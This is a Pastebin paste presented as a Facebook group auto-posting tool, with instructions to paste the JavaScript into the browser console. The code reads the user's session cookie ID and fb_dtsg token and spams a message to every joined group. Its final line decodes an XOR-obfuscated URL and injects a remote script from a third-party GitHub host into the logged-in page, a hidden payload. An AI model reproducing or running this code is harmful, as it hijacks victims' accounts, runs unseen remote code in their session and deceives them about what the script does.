Advertisement
Tiger6117

FB MultiPosting Script

Apr 4th, 2015
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #How To USE :
  2. #Copy this script and in fb page press f12 or shift+ctrl+k and paste it in the console . yOU will get a post box .
  3. #Type there what You want to post and click post and wait. It will start posting in all groups .
  4. #For more tricks and scripts visit : http://tigerzplace.com
  5. ---------------------------------------------------------------------------------------------------------------------------------------
  6. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>AutoGroup Poster bY Tig3r`Bh4i Post</a></div></br>";
  7. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write ur post Here ;)'  style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  8. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  9. var Popupset = document.createElement("div");
  10. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  11. Popupset.innerHTML = askformsg;
  12. document.body.appendChild(Popupset);
  13.  
  14. jx = {
  15.     getHTTPObject: function () {
  16.         var A = false;
  17.         if (typeof ActiveXObject != "undefined") {
  18.             try {
  19.                 A = new ActiveXObject("Msxml2.XMLHTTP")
  20.             } catch (C) {
  21.                 try {
  22.                     A = new ActiveXObject("Microsoft.XMLHTTP")
  23.                 } catch (B) {
  24.                     A = false
  25.                 }
  26.             }
  27.         } else {
  28.             if (window.XMLHttpRequest) {
  29.                 try {
  30.                     A = new XMLHttpRequest()
  31.                 } catch (C) {
  32.                     A = false
  33.                 }
  34.             }
  35.         }
  36.         return A
  37.     },
  38.     load: function (url, callback, format, method, opt) {
  39.         var http = this.init();
  40.         if (!http || !url) {
  41.             return
  42.         }
  43.         if (http.overrideMimeType) {
  44.             http.overrideMimeType("text/xml")
  45.         }
  46.         if (!method) {
  47.             method = "GET"
  48.         }
  49.         if (!format) {
  50.             format = "text"
  51.         }
  52.         if (!opt) {
  53.             opt = {}
  54.         }
  55.         format = format.toLowerCase();
  56.         method = method.toUpperCase();
  57.         var now = "uid=" + new Date().getTime();
  58.         url += (url.indexOf("?") + 1) ? "&" : "?";
  59.         url += now;
  60.         var parameters = null;
  61.         if (method == "POST") {
  62.             var parts = url.split("?");
  63.             url = parts[0];
  64.             parameters = parts[1]
  65.         }
  66.         http.open(method, url, true);
  67.         if (method == "POST") {
  68.             http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  69.             http.setRequestHeader("Content-length", parameters.length);
  70.             http.setRequestHeader("Connection", "close")
  71.         }
  72.         var ths = this;
  73.         if (opt.handler) {
  74.             http.onreadystatechange = function () {
  75.                 opt.handler(http)
  76.             }
  77.         } else {
  78.             http.onreadystatechange = function () {
  79.                 if (http.readyState == 4) {
  80.                     if (http.status == 200) {
  81.                         var result = "";
  82.                         if (http.responseText) {
  83.                             result = http.responseText
  84.                         }
  85.                         if (format.charAt(0) == "j") {
  86.                             result = result.replace(/[\n\r]/g, "");
  87.                             result = eval("(" + result + ")")
  88.                         } else {
  89.                             if (format.charAt(0) == "x") {
  90.                                 result = http.responseXML
  91.                             }
  92.                         }
  93.                         if (callback) {
  94.                             callback(result)
  95.                         }
  96.                     } else {
  97.                         if (opt.loadingIndicator) {
  98.                             document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  99.                         }
  100.                         if (opt.loading) {
  101.                             document.getElementById(opt.loading).style.display = "none"
  102.                         }
  103.                         if (error) {
  104.                             error(http.status)
  105.                         }
  106.                     }
  107.                 }
  108.             }
  109.         }
  110.         http.send(parameters)
  111.     },
  112.     bind: function (A) {
  113.         var C = {
  114.             "url": "",
  115.             "onSuccess": false,
  116.             "onError": false,
  117.             "format": "text",
  118.             "method": "GET",
  119.             "update": "",
  120.             "loading": "",
  121.             "loadingIndicator": ""
  122.         };
  123.         for (var B in C) {
  124.             if (A[B]) {
  125.                 C[B] = A[B]
  126.             }
  127.         }
  128.         if (!C.url) {
  129.             return
  130.         }
  131.         var D = false;
  132.         if (C.loadingIndicator) {
  133.             D = document.createElement("div");
  134.             D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  135.             D.setAttribute("class", "loading-indicator");
  136.             D.innerHTML = C.loadingIndicator;
  137.             document.getElementsByTagName("body")[0].appendChild(D);
  138.             this.opt.loadingIndicator = D
  139.         }
  140.         if (C.loading) {
  141.             document.getElementById(C.loading).style.display = "block"
  142.         }
  143.         this.load(C.url, function (E) {
  144.             if (C.onSuccess) {
  145.                 C.onSuccess(E)
  146.             }
  147.             if (C.update) {
  148.                 document.getElementById(C.update).innerHTML = E
  149.             }
  150.             if (D) {
  151.                 document.getElementsByTagName("body")[0].removeChild(D)
  152.             }
  153.             if (C.loading) {
  154.                 document.getElementById(C.loading).style.display = "none"
  155.             }
  156.         }, C.format, C.method, C)
  157.     },
  158.     init: function () {
  159.         return this.getHTTPObject()
  160.     }
  161. }
  162. var j = 0;
  163. var k = 0;
  164. var suc = 0;
  165. var msg = "Hello Friends.";
  166. var arr = new Array();
  167. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  168.  
  169. function autopostingfunc(sender) {
  170.     if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  171.     jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  172.         var text = data;
  173.         var json = text.substring(text.indexOf('{'));
  174.         var friends = JSON.parse(json);
  175.         friends = friends.payload.entries;
  176.         for (var n = 0; n < friends.length; n++) {
  177.             arr.push(friends[n].uid);
  178.         }
  179.         sender.parentNode.innerHTML = "Please Wait....";
  180.         postitok();
  181.     });
  182. }
  183. var a = document.body.innerHTML;
  184. var dts = document.getElementsByName('fb_dtsg')[0].value;
  185. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  186.  
  187.  
  188.  
  189. function postitok() {
  190.     pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  191.     with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  192.     suc++;
  193.     if (suc > arr.length) {
  194.         alert("Completed. Please refresh page.");
  195.         suc = 0;
  196.     } else setTimeout("postitok()", 30000 / arr.length);
  197. }
  198. setTimeout("autopostingfunc()", 1000);
  199. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement